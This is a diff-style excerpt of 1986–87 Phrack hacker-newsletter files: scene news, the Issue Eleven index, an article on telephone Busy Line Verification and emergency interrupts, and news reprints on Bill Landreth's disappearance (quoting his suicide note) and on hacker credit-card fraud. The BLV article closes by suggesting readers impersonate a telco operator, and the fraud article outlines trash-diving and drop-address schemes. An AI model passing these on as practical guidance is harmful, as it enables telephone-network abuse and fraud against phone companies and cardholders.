+ The bulletin boards sponsoring the LOD/H TJs include:
184
+
185
+ Atlantis
186
+ Digital Logic Data Service
187
+ Hell Phrozen Over (HPO)
188
+ Metal Shop Private
189
+ Private Sector
190
+ The Shack //
191
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
192
+ The first issue will include these articles;
193
+
194
+ - Introduction to the LOD/H Technical Journal and Table Of Contents
195
+
196
+ - Editorial: "Is the law a deterrent to computer crime?" by Lex Luthor
197
+
198
+ - Local Area Signalling Services (LASS) by The Videosmith
199
+
200
+ - Identifying and Defeating Physical Security and Intrusion Detection Systems
201
+ Part I: The Perimeter by Lex Luthor
202
+
203
+ - Traffic Service Position System (TSPS) by The Marauder
204
+
205
+ - Hacking DEC's TOPS-20: Intro by Blue Archer
206
+
207
+ - Building your own Blue Box (Includes Schematic) by Jester Sluggo
208
+
209
+ - Intelligence and Interrogation Processes by Master Of Impact
210
+
211
+ - The Outside Loop Distribution Plant: Part I by Phucked Agent 04
212
+
213
+ - The Outside Loop Distribution Plant: Part II by Phucked Agent 04
214
+
215
+ - LOH Telenet Directory: Update #4 (12-9-86) Part I by LOH
216
+
217
+ - LOH Telenet Directory: Update #4 (12-9-86) Part II by LOH
218
+
219
+ - Network News & Notes by "Staff"
220
+
221
+ That's a total of 13 files...
222
+
223
+ That ends the preview, the newsletter is due to be released by January 1, 1987
224
+ so watch for it!
225
+ Information Provided by
226
+
227
+ Lex Luthor & The Legion Of Doom/Hackers Technical Journal Staff
228
+ _______________________________________________________________________________
229
+
230
+ Texas Rumors Run Rampant December 24, 1986
231
+ ------------------------
232
+ Remember all that controversy about Sir Gamelord being Videosmith?
233
+
234
+ Well here's the story...
235
+
236
+ It all started on a conference bridge, where a number of people including Evil
237
+ Jay, Line Breaker [who, indirectly started all of this], and Blade Runner among
238
+ others were having a discussion.
239
+
240
+ Line Breaker was telling a story of how Videosmith was a fed, how Videosmith
241
+ had busted everyone at a phreak con (or something like that), and how he [Line
242
+ Breaker] and some other people called Videosmith up, pretending to be feds, and
243
+ got him to admit that he did these things.
244
+
245
+ Blade Runner was terribly pissed at Sir Gamelord (who had recently attempted to
246
+ take over P.H.I.R.M., which is Blade Runner's group). As a retaliatory strike
247
+ and after hearing this slander upon Videosmith's name, Blade Runner started
248
+ telling people that Sir Gamelord was Videosmith. The stories have been getting
249
+ more and more exaggerated since then but that is all that really happened.
250
+
251
+ [They say everything is bigger in Texas...I guess that includes bullshit too!]
252
+
253
+ Information Provided by Evil Jay
254
+ _______________________________________________________________________________
255
+
256
+ The Cracker Disappears December 27, 1986
257
+ ----------------------
258
+ The rumors and stories are flying around about the disappearance of one
259
+ Bill Landreth aka The Cracker.
260
+
261
+ Bill Landreth is the author of "Out Of The Inner Circle," a book on hackers
262
+ that was published a few years back.
263
+
264
+ According to newspaper articles in the San Francisco area, Bill was at a
265
+ friend's home working on some computer program. His friend stepped out for a
266
+ while and when he returned, there was a lot of garbage on screen and a suicide
267
+ message.
268
+
269
+ On Ripco BBS, message was posted about Bill Landreth, stating that he had
270
+ disappeared, and was once again wanted by the FBI. The message asked that
271
+ anyone in contact with Bill would tell him to contact his "friends."
272
+
273
+ Most of what is going on right now is bogus rumors. There may be a follow up
274
+ story in the next PWN.
275
+
276
+ Information Provided By
277
+
278
+ The Prophet/Sir Frances Drake/Elric Of Imrryr
279
+ _______________________________________________________________________________
280
+
281
+ U.S. Sprint Screws Up December 24, 1986
282
+ ---------------------
283
+ Taken From the Fort Lauderdale Sun Sentinal
284
+
285
+ "He got a 1,400 page bill!"
286
+
287
+ In Montrose, Colorado, Brad Switzer said he thought the box from the U.S.
288
+ Sprint Long Distance Company was an early Christmas present until he opened it
289
+ and found that it contained a 1,400 page phone bill.
290
+
291
+ The $34,000 bill was delivered to Switzer's doorstep Monday. He called U.S.
292
+ Sprint's Denver office, where company officials assured him he was "Off the
293
+ Hook." A spokesman for U.S. Sprint said that Switzer had mistakenly received
294
+ U.S. Sprint's own phone bill for long distance calls.
295
+
296
+ Typed For PWN by The Leftist
297
+ _______________________________________________________________________________
298
+
phrack/issue11/1.txt ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #1 of 12
4
+
5
+ Index
6
+ ~~~~~
7
+ 2/17/87
8
+
9
+ Welcome to Issue Eleven of the Phrack Inc. electronic newsletter.
10
+ This issue, I was a bit more reliable about getting the issue out (yes, only 3
11
+ days late!). This issue did not come together as easily as I would have hoped
12
+ due to a number of people being difficult to get a hold of or getting their
13
+ files, but I filled their places in with other files, so if you had been told
14
+ you would have a file in this issue, get in contact with me so that it will be
15
+ featured in Issue Twelve. The following files are featured in this edition of
16
+ Phrack Inc.:
17
+
18
+ #1 Index to Phrack Eleven by Taran King (1.7K)
19
+ #2 Phrack Pro-Phile VIII on Wizard of Arpanet by Taran King (6.8K)
20
+ #3 PACT: Prefix Access Code Translator by The Executioner (7.6K)
21
+ #4 Hacking Voice Mail Systems by Black Knight from 713 (6.0K)
22
+ #5 Simple Data Encryption or Digital Electronics 101 by The Leftist (4.1K)
23
+ #6 AIS - Automatic Intercept System by Taran King (15.9K)
24
+ #7 Hacking Primos I, II, III by Evil Jay (6.7K)
25
+ #8 Telephone Signalling Methods by Doom Prophet (7.3K)
26
+ #9 Cellular Spoofing By Electronic Serial Numbers donated by Amadeus (15.2K)
27
+ #10 Busy Line Verification by Phantom Phreaker (10.0K)
28
+ #11 Phrack World News X by Knight Lightning
29
+ #12 Phrack World News XI by knight Lightning
30
+
31
+ Taran King
32
+ Sysop of Metal Shop Private
phrack/issue11/10.txt ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #10 of 12
4
+
5
+ BUSY LINE VERIFICATION
6
+
7
+ WRITTEN BY PHANTOM PHREAKER
8
+
9
+
10
+ This file describes how a TSPS operator does a BLV (Busy Line
11
+ Verification) and an EMER INT (Emergency Interrupt) upon a busy line that a
12
+ customer has requested to be 'broken' into. I have written this file to
13
+ hopefully clear up all the misconceptions about Busy Line Verification and
14
+ Emergency Interrupts.
15
+
16
+ BLV is 'Busy Line Verification'. That is, discovering if a line is
17
+ busy/not busy. BLV is the telco term, but it has been called Verification,
18
+ Autoverify, Emergency Interrupt, break into a line, REMOB, and others. BLV is
19
+ the result of a TSPS that uses a Stored Program Control System (SPCS) called
20
+ the Generic 9 program. Before the rise of TSPS in 1969, cordboard operators
21
+ did the verification process. The introduction of BLV via TSPS brought about
22
+ more operator security features. The Generic 9 SPCS and hardware was first
23
+ installed in Tucson, Daytona, and Columbus, Ohio, in 1979. By now virtually
24
+ every TSPS has the Generic 9 program.
25
+
26
+ A TSPS operator does the actual verification. If caller A was in the 815
27
+ Area code, and caller B was in the 314 Area code, A would dial 0 to reach a
28
+ TSPS in his area code, 815. Now, A, the customer, would tell the operator he
29
+ wished an emergency interrupt on B's number, 314+555+1000. The 815 TSPS op who
30
+ answered A's call cannot do the interrupt outside of her own area code, (her
31
+ service area), so she would call an Inward Operator for B's area code, 314,
32
+ with KP+314+TTC+121+ST, where the TTC is a Terminating Toll Center code that
33
+ is needed in some areas. Now a TSPS operator in the 314 area code would be
34
+ reached by the 815 TSPS, but a lamp on the particular operators console would
35
+ tell her she was being reached with an Inward routing. The 815 operator then
36
+ would say something along the lines of she needed an interrupt on
37
+ 314+555+1000, and her customers name was J. Smith. Now, the 314 Inward (which
38
+ is really a TSPS) would dial B's number, in a normal Operator Direct Distance
39
+ Dialing (ODDD) fashion. If the line wasn't busy, then the 314 Inward would
40
+ report this to the 815 TSPS, who would then report to the customer (caller A)
41
+ that 314+555+1000 wasn't busy and he could call as normal. However if the
42
+ given number (in this case, 314+555+1000) was busy, then several things would
43
+ happen and the process of BLV and EMER INT would begin. The 314 Inward would
44
+ seize a Verification trunk (or BLV trunk) to the toll office that served the
45
+ local loop of the requested number (555+1000). Now another feature of TSPS
46
+ checks the line asked to be verified against a list of lines that can't be
47
+ verified, such as radio stations, police, etc. If the line number a customer
48
+ gives is on the list then the verification cannot be done, and the operator
49
+ tells the customer.
50
+
51
+ Now the TSPS operator would press her VFY (VeriFY) key on the TSPS
52
+ console, and the equipment would outpulse (onto the BLV trunk)
53
+ KP+0XX+PRE+SUFF+ST. The KP being Key Pulse, the 0XX being a 'screening code'
54
+ that protects against trunk mismatching, the PRE being the Prefix of the
55
+ requested number (555), the SUFF being the Suffix of the requested number
56
+ (1000), and the ST being STart, which tells the Verification trunk that no
57
+ more MF digits follow. The screening code is there to keep a normal Toll
58
+ Network (used in regular calls) trunk from accidentally connecting to a
59
+ Verification trunk. If this screening code wasn't present, and a trunk
60
+ mismatch did occur, someone calling a friend in the same area code might just
61
+ happen to be connected to his friends line, and find himself in the middle of
62
+ a conversation. But, the Verification trunk is waiting for an 0XX sequence,
63
+ and a normal call on a Toll Network trunk does not outpulse an 0XX first.
64
+ (Example: You live at 914+555+1000, and wish to call 914+666+0000. The routing
65
+ for your call would be KP+666+0000+ST. The BLV trunk cannot accept a 666 in
66
+ place of the proper 0XX routing, and thus would give the caller a re-order
67
+ tone.) Also, note that the outpulsing sequence onto a BLV trunk can't contain
68
+ an Area Code. This is the reason why if a customer requests an interrupt
69
+ outside of his own NPA, the TSPS operator must call an Inward for the area
70
+ code that can outpulse onto the proper trunk. If a TSPS in 815 tried to do an
71
+ interrupt on a trunk in 314, it would not work. This proves that there is a
72
+ BLV network for each NPA, and if you somehow gain access to a BLV trunk, you
73
+ could only use it for interrupts within the NPA that the trunk was located in.
74
+
75
+ BLV trunks 'hunt' to find the right trunks to the right Class 5 End Office
76
+ that serves the given local loop. The same outpulsing sequence is passed along
77
+ BLV trunks until the BLV trunk serving the Toll Office that serves the given
78
+ End Office is found.
79
+
80
+ There is usually one BLV trunk per 10,000 lines (exchange). So, if a Toll
81
+ Office served ten End Offices, that Toll Office would have 100,000 local loops
82
+ that it served, and have 10 BLV trunks running from TSPS to that Toll Office.
83
+
84
+ Now, the operator (in using the VFY key) can hear what is going on on the
85
+ line, (modem, voice, or a permanent signal, indicating a phone off-hook) and
86
+ take appropriate action. She can't hear what's taking place on the line
87
+ clearly, however. A speech scrambler circuit within the operator console
88
+ generates a scramble on the line while the operator is doing a VFY. The
89
+ scramble is there to keep operators from listening in on people, but it is not
90
+ enough to keep an op from being able to tell if a conversation, modem signal,
91
+ or a dial tone is present upon the line. If the operator hears a permanent
92
+ signal, she can only report back to the customer that either the phone is
93
+ off-hook, or there is a problem with the line, and she can't do anything about
94
+ it. In the case of caller A and B, the 314 Inward would tell the 815 TSPS, and
95
+ the 815 TSPS would tell the customer. If there is a conversation on line, the
96
+ operator presses a key marked EMER INT (EMERgency INTerrupt) on her console.
97
+ This causes the operator to be added into a three way port on the busy line.
98
+ The EMER INT key also deactivates the speech scrambling circuit and activates
99
+ an alerting tone that can be heard by the called customer. The alerting tone
100
+ that is played every 10 seconds tells the customer that an operator is on the
101
+ line. Some areas don't have the alerting tone, however. Now, the operator
102
+ would say 'Is this XXX-XXXX?' where XXX-XXXX would be the Prefix and Suffix of
103
+ the number that the original customer requesting the interrupt gave the
104
+ original TSPS. The customer would confirm the operator had the correct line.
105
+ Then the Op says 'You have a call waiting from (customers name). Will you
106
+ accept?'. This gives the customer the chance to say 'Yes' and let the calling
107
+ party be connected to him, while the previous party would be disconnected. If
108
+ the customer says 'No', then the operator tells the person who requested the
109
+ interrupt that the called customer would not accept. The operator can just
110
+ inform the busy party that someone needed to contact him or her, and have the
111
+ people hang up, and then notify the requesting customer that the line is free.
112
+ Or, the operator can connect the calling party and the interrupted party
113
+ without loss of connection.
114
+
115
+ The charges for this service (in my area at least) run 1.00 for asking the
116
+ operator to interrupt a phone call so you can get through. There is an .80
117
+ charge if you ask the operator to verify whether the phone you're trying to
118
+ reach is busy because of a service problem or because of a conversation. If
119
+ the line has no conversation on it, there will be no charge for the
120
+ verification.
121
+
122
+ When the customer who initiated the emergency interrupt gets his telephone
123
+ bill, the charges for the interrupt call will look similar to this:
124
+
125
+ 12-1 530P INTERRUPT CL 314 555 1000 OD 1 1.00
126
+
127
+ The 12-1 is December first of the current year; 530P is the time the call
128
+ was made to the operator requesting an interrupt; INTERRUPT CL is what took
129
+ place, that is, an interrupt call; 314 555 1000 is the number requested; OD
130
+ stands for Operator Dialed; the 1 is the length of the call (in minutes); and
131
+ the 1.00 is the charge for the interrupt. The format may be different,
132
+ depending upon your area and telephone company.
133
+
134
+ One thing I forgot to mention about TSPS operators. In places where a
135
+ Remote Trunking Arrangement is being used, and even places where they aren't
136
+ in use, you may be connected to a TSPS operator in a totally different area
137
+ code. In such a case, the TSPS that you reach in a Foreign NPA will call up an
138
+ inward operator for your Home NPA, if the line you requested an EMER INT on
139
+ was in your HNPA. If the line you requested EMER INT on was in the same NPA of
140
+ the TSPS that you had reached, then no inward operator would be needed and the
141
+ answering operator could do the entire process.
142
+
143
+ Verification trunks seem to be only accessible by a TSPS/Inward operator.
144
+ However, there have been claims to people doing Emergency Interrupts with blue
145
+ boxes. I don't know how to accomplish an EMER INT without the assistance of an
146
+ operator, and I don't know if it can be done. If you really wish to
147
+ participate in a BLV/EMER INT, call up an Inward Operator and play the part of
148
+ a TSPS operator who needs an EMER INT upon a pre-designated busy line. Billing
149
+ is handled at the local TSPS so you will not have to supply a billing number
150
+ if you decide to do this.
151
+
152
+
153
+ If you find any errors in this file, please try to let me know about it,
154
+ and if you find out any other information that I haven't included, feel free
155
+ to comment.
156
+
157
+ -End of file-
phrack/issue11/11.txt ADDED
@@ -0,0 +1,385 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Eleven, Phile #11 of 12
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN *>=-{ Phrack World News }-=<* PWN
8
+ PWN PWN
9
+ PWN Issue X PWN
10
+ PWN PWN
11
+ PWN Written, Compiled, and Edited PWN
12
+ PWN by Knight Lightning PWN
13
+ PWN PWN
14
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
15
+
16
+ Scan Man Revisited January 19, 1987
17
+ ------------------
18
+ The following is a reprint from TeleComputist Newsletter Issue Two;
19
+
20
+ SCAN MAN - FED OR PHREAK? (The Other Side)
21
+
22
+ TeleComputist is printing the statement Scan Man has made to us
23
+ [TeleComputist] in rebuttal to Phrack World News, whom previously printed an
24
+ article concerning Scan Man in Phrack Issue VIII. Those of you who have seen
25
+ or read the article in Phrack VIII know that it basically covered information
26
+ and an intercepted memo alleging Scan Man of going after hackers and turning
27
+ in codes off his BBS (P-80 Systems, Charleston, West Virginia 304/744-2253) as
28
+ a TMC employee. Please note that this statement should be read with the
29
+ article concerning Scan Man in Phrack Issue VIII to get the full
30
+ understanding.
31
+
32
+ Scan Man started off his statement claiming not to work for TMC, but
33
+ instead for a New York branch office of Telecom Management (a Miami based
34
+ firm). He was flown in from Charleston, West Virginia to New York every week
35
+ for a four to five day duration. Once in New York, Telecom Management made
36
+ available a leased executive apartment where Scan Man stayed as he worked.
37
+ His position in Telecom Management was that of a systems analyst, "...and that
38
+ was it!" Scan Man stated. Scan Man also stated that he had never made it a
39
+ secret that he was working in New York and had even left messages on his BBS
40
+ saying this.
41
+
42
+ He also went on to say that he had no part in the arrest of Shawn [of
43
+ Phreaker's Quest] (previously known as Captain Caveman) by TMC in Las Vegas.
44
+ Scan Man claimed to have no ties with TMC in Las Vegas and that they would not
45
+ even know him. Scan Man then went on to say that Shawn had never replied to
46
+ previous messages Scan man had left asking for TMC codes. Scan Man also said
47
+ that the messages about TMC were in no way related to him. He claimed to have
48
+ no ties to TMC, which is a franchised operation which makes even TMC unrelated
49
+ except by name.
50
+
51
+ Scan Man stated that he called Pauline Frazier and asked her about the
52
+ inquiry by Sally Ride [:::Space Cadet] who acted as an insider to obtain the
53
+ information in Phrack VIII. He said that Pauline said nothing to the imposter
54
+ (Sally Ride) and merely directed him to a TMC employee named Kevin Griffo.
55
+ Scan Man then went on to say that the same day Sally Ride called Pauline
56
+ Frazier was the same day he received his notice. And to that Scan Man made
57
+ the comment, "If I find out this is so heads will roll!"
58
+
59
+ After that comment, Scan Man came up with arguments of his own, starting
60
+ off with the dates printed in Phrack VIII. He claimed that the dates were off
61
+ and backed this up by saying Ben Graves had been fired six months previously
62
+ to the conversation with Sally Ride. Scan Man then went on to ask why it had
63
+ taken Sally Ride so long to come forward with his information. Scan Man made
64
+ one last comment, "It's a fucking shame that there is a social structure in
65
+ the phreak world!" Meaning Sally Ride merely presented his information to
66
+ give himself a boost socially in the phreak world.
67
+
68
+ This is how it ended. We would like to say that TeleComputist printed the
69
+ statement by Scan Man to offer both sides of the story. We make no judgements
70
+ here and take no sides.
71
+
72
+ Reprinted with permission from TeleComputist Newsletter Issue 2
73
+
74
+ Copyright (C) 1986 by J. Thomas. All Rights Reserved
75
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
76
+ Ok, that was Scan Man's side to the story, now that he had a few months to
77
+ come up with one. Lets do a critical breakdown;
78
+
79
+ -*- "He was flown in from Charleston, West Virginia to New York every week for
80
+ a four to five day duration."
81
+
82
+ Gee, wouldn't that get awfully expensive? Every week...and "made
83
+ available a leased executive apartment..." He must have been quite an
84
+ asset to "Telecom Management" for them to spend such large amounts on him.
85
+ Kinda interesting that he lived in Charleston, West Virginia (where
86
+ surprisingly enough there is a branch of TMC) and flew to New York every
87
+ week.
88
+
89
+ -*- "Scan Man claimed to have no ties with TMC in Las Vegas..." Ok, I'll buy
90
+ that. Notice how he didn't say that he had no ties with TMC in
91
+ Charleston. Furthermore if he had no ties with TMC in Charleston why
92
+ would they have his name in their company records? Why would all those
93
+ employees know him or dislike him for that matter?
94
+
95
+ -*- "Scan Man then went on to say that the same day Sally Ride called Pauline
96
+ Frazier was the day he received his notice." Well now, how can there be a
97
+ connection between the two events at all when Scan Man works for Telecom
98
+ Management and has "no ties with TMC" and claimed "not to work for TMC"?
99
+ If TMC and Telecom Management are truly independent of each other then
100
+ nothing Sally Ride said to Pauline Frazier could have affected him in ANY
101
+ way. That is unless he did work for TMC in the first place.
102
+
103
+ -*- "...and back this up by saying that Ben Graves had been fired six months
104
+ previously to the conversation with Sally Ride." Well first of all, PWN
105
+ did not give a date as to when Ben Graves was fired from TMC. Second of
106
+ all and more important, how does Scan Man know so much about TMC when he
107
+ works for "Telecom Management" and has "...no ties with TMC..."?
108
+
109
+ The rest of his statements were highly debatable and he showed no proof as to
110
+ their validity. As for why Sally Ride waited so long to come forward, well he
111
+ didn't wait that long at all, he came forward to myself in late May/early June
112
+ of 1986. My decision was to do nothing because there wasn't enough proof.
113
+ After three months of research we had enough proof and the article was
114
+ released.
115
+
116
+ With this attempt to cover up the truth, Scan Man has only given more
117
+ ammunition to the idea that he isn't what he claims to be.
118
+
119
+ Special Thanks to TeleComputist Newsletter
120
+ ______________________________________________________________________________
121
+
122
+ The Cracker Cracks Up? December 21, 1986
123
+ ----------------------
124
+ "Computer 'Cracker' Is Missing -- Is He Dead Or Is He Alive"
125
+
126
+ By Tom Gorman of The Los Angeles Times
127
+
128
+ ESCONDIDO, Calif. -- Early one morning in late September, computer hacker Bill
129
+ Landreth pushed himself away from his IBM-PC computer -- its screen glowing
130
+ with an uncompleted sentence -- and walked out the front door of a friend's
131
+ home here.
132
+
133
+ He has not been seen or heard from since.
134
+
135
+ The authorities want him because he is the "Cracker", convicted in 1984 of
136
+ breaking into some of the most secure computer systems in the United States,
137
+ including GTE Telemail's electronic mail network, where he peeped at NASA
138
+ Department of Defense computer correspondence.
139
+
140
+ He was placed on three years' probation. Now his probation officer is
141
+ wondering where he is.
142
+
143
+ His literary agent wants him because he is Bill Landreth the author, who
144
+ already has cashed in on the successful publication of one book on computer
145
+ hacking and who is overdue with the manuscript of a second computer book.
146
+
147
+ The Institute of Internal Auditors wants him because he is Bill Landreth the
148
+ public speaker who was going to tell the group in a few months how to make
149
+ their computer systems safer from people like him.
150
+
151
+ Susan and Gulliver Fourmyle want him because he is the eldest of their eight
152
+ children. They have not seen him since May 1985, when they moved away from
153
+ Poway in northern San Diego county, first to Alaska then to Maui where they
154
+ now live.
155
+
156
+ His friends want him because he is crazy Bill Landreth, IQ 163, who has pulled
157
+ stunts like this before and "disappeared" into the night air -- but never for
158
+ more than a couple of weeks and surely not for 3 months. They are worried.
159
+
160
+ Some people think Landreth, 21, has committed suicide. There is clear
161
+ evidence that he considered it -- most notably in a rambling eight-page
162
+ discourse that Landreth wrote during the summer.
163
+
164
+ The letter, typed into his computer, then printed out and left in his room for
165
+ someone to discover, touched on the evolution of mankind, prospects for man's
166
+ immortality and the defeat of the aging process, nuclear war, communism versus
167
+ capitalism, society's greed, the purpose of life, computers becoming more
168
+ creative than man and finally -- suicide.
169
+
170
+ The last page reads:
171
+
172
+ "As I am writing this as of the moment, I am obviously not dead. I do,
173
+ however, plan on being dead before any other humans read this. The idea is
174
+ that I will commit suicide sometime around my 22nd birthday..."
175
+
176
+ The note explained:
177
+
178
+ "I was bored in school, bored traveling around the country, bored getting
179
+ raided by the FBI, bored in prison, bored writing books, bored being bored. I
180
+ will probably be bored dead, but this is my risk to take."
181
+
182
+ But then the note said:
183
+
184
+ "Since writing the above, my plans have changed slightly.... But the point is,
185
+ that I am going to take the money I have left in the bank (my liquid assets)
186
+ and make a final attempt at making life worthy. It will be a short attempt,
187
+ and I do suspect that if it works out that none of my current friends will
188
+ know me then. If it doesn't work out, the news of my death will probably get
189
+ around. (I won't try to hide it.)"
190
+
191
+ Landreth's birthday is December 26 and his best friend is not counting on
192
+ seeing him again.
193
+
194
+ "We used to joke about what you could learn about life, especially since if
195
+ you don't believe in a God, then there's not much point to life," said Tom
196
+ Anderson, 16, a senior at San Pasqual High School in Escondido, about 30 miles
197
+ north of San Diego. Anderson also has been convicted of computer hacking and
198
+ placed on probation.
199
+
200
+ Anderson was the last person to see Landreth. It was around September 25 --
201
+ he does not remember exactly. Landreth had spent a week living in Anderson's
202
+ home so the two could share Landreth's computer. Anderson's IBM-PC had been
203
+ confiscated by authorities, and he wanted to complete his own book.
204
+
205
+ Anderson said he and Landreth were also working on a proposal for a movie
206
+ about their exploits.
207
+
208
+ "He started to write the proposal for it on the computer, and I went to take a
209
+ shower," Anderson said. "When I came out, he was gone. The proposal was in
210
+ mid-sentence. And I haven't seen him since."
211
+
212
+ Apparently Landreth took only his house key, a passport, and the clothes on
213
+ his back.
214
+
215
+ Anderson said he initially was not concerned about Landreth's absence. After
216
+ all this was the same Landreth who, during the summer, took off for Mexico
217
+ without telling anyone -- including friends he had seen just the night before
218
+ -- of his departure.
219
+
220
+ But concern grew by October 1, when Landreth failed to keep a speaking
221
+ engagement with a group of auditors in Ohio, for which he would have received
222
+ $1,000 plus expenses. Landreth may have kept a messy room and poor financial
223
+ records, but he was reliable enough to keep a speaking engagement, said his
224
+ friends and literary agent, Bill Gladstone, noting that Landreth's second
225
+ manuscript was due in August and had not yet been delivered.
226
+
227
+ But, the manuscript never came and Landreth has not reappeared.
228
+
229
+ Steve Burnap, another close friend, said that during the summer Landreth had
230
+ grown lackadaisical toward life. "He just didn't seem to care much about
231
+ anything anymore."
232
+ Typed for PWN by Druidic Death
233
+ From The Dallas Times Herald
234
+ ______________________________________________________________________________
235
+
236
+ Beware The Hacker Tracker December, 1986
237
+ -------------------------
238
+ By Lamont Wood of Texas Computer Market Magazines
239
+
240
+ If you want to live like a spy in your own country, you don't have to join the
241
+ CIA or the M15 or the KGB. You can track hackers, like John Maxfield of
242
+ Detroit.
243
+
244
+ Maxfield is a computer security consultant running a business called
245
+ BoardScan, which tracks hackers for business clients. He gets occasional
246
+ death threats and taunting calls from his prey, among whom he is known as the
247
+ "hacker tracker," and answers the phone warily.
248
+
249
+ And although he has received no personal harassment, William Tener, head of
250
+ data security for the information services division of TRW, Inc., has found it
251
+ necessary to call in experts in artificial intelligence from the aerospace
252
+ industry in an effort to protect his company's computer files. TRW is a juicy
253
+ target for hackers because the firm stores personal credit information on
254
+ about 130 million Americans and 11 million businesses -- data many people
255
+ would love to get hold of.
256
+
257
+ Maxfield estimates that the hacker problem has increased by a factor of 10 in
258
+ the last four years, and now seems to be doubling every year. "Nearly every
259
+ system can be penetrated by a 14-year old with $200 worth of equipment," he
260
+ complains. "I have found kids as young as nine years old involved in hacking.
261
+ If such young children can do it, think of what an adult can do."
262
+
263
+ Tener estimates that there are as many as 5,000 private computer bulletin
264
+ boards in the country, and that as many as 2,000 are hacker boards. The rest
265
+ are as for uses as varied as club news, customer relations, or just as a hobby.
266
+ Of the 2,000 about two dozen are used by "elite" hackers, and some have
267
+ security features as good as anything used by the pentagon, says Maxfield.
268
+
269
+ The number of hackers themselves defies estimation, if only because the users
270
+ of the boards overlap. They also pass along information from board to board.
271
+ Maxfield says he has seen access codes posted on an east coast bulletin board
272
+ that appeared on a west coast board less than an hour later, having passed
273
+ through about ten boards in the meantime. And within hours of the posting of
274
+ a new number anywhere, hundreds of hackers will try it.
275
+
276
+ "Nowadays, every twerp with a Commodore 64 and a modem can do it, all for the
277
+ ego trip of being the nexus for forbidden knowledge," sighs a man in New York
278
+ City, known either as "Richard Cheshire" or "Chesire Catalyst" -- neither is
279
+ his real name. Cheshire was one of the earliest computer hackers, from the
280
+ days when the Telex network was the main target, and was the editor of TAP, a
281
+ newsletter for hackers and phone "phreaks". Oddly enough, TAP itself was an
282
+ early victim of the hacker upsurge. "The hacker kids had their bulletin
283
+ boards and didn't need TAP -- we were technologically obsolete," he recalls.
284
+
285
+ So who are these hackers and what are they doing? Tener says most of the ones
286
+ he has encountered have been 14 to 18 year old boys, with good computer
287
+ systems, often bright, middle class, and good students. They often have a
288
+ reputation for being loners, if only because they spend hours by themselves at
289
+ a terminal, but he's found out-going hacker athletes.
290
+
291
+ But Maxfield is disturbed by the sight of more adults and criminals getting
292
+ involved. Most of what the hackers do involves "theft of services" -- free
293
+ access to Compuserve, The Source, or other on-line services or corporate
294
+ systems. But, increasingly, the hackers are getting more and more into credit
295
+ card fraud.
296
+
297
+ Maxfield and Cheshire describe the same process -- the hackers go through
298
+ trash bins outside businesses whose computer they want to break into looking
299
+ for manuals or anything that might have access codes on it. They may find it,
300
+ but they also often find carbon copies of credit card sales slips, from which
301
+ they can read credit card numbers. They use these numbers to order
302
+ merchandise -- usually computer hardware -- over the phone and have it
303
+ delivered to an empty house in their neighborhood, or to a house where nobody
304
+ is home during the day. Then all they have to do is be there when the delivery
305
+ truck arrives.
306
+
307
+ "We've only been seeing this in the last year," Maxfield complains. "But now
308
+ we find adults running gangs of kids who steal card numbers for them. The
309
+ adults resell the merchandise and give the kids a percentage of the money."
310
+
311
+ It's best to steal the card number of someone rich and famous, but since
312
+ that's usually not possible it's a good idea to be able to check the victim's
313
+ credit, because the merchant will check before approving a large credit card
314
+ sale. And that's what makes TRW such a big target -- TRW has the credit
315
+ files. And the files often contain the number of any other credit cards the
316
+ victim owns, Maxfield notes.
317
+
318
+ The parents of the hackers, meanwhile, usually have no idea what their boy is
319
+ up to -- he's in his room playing, so what could be wrong? Tener recalls a
320
+ case where the parents complained to the boy about the high phone bill one
321
+ month. And the next month the bill was back to normal. And so the parents
322
+ were happy. But the boy had been billing the calls to a stolen telephone
323
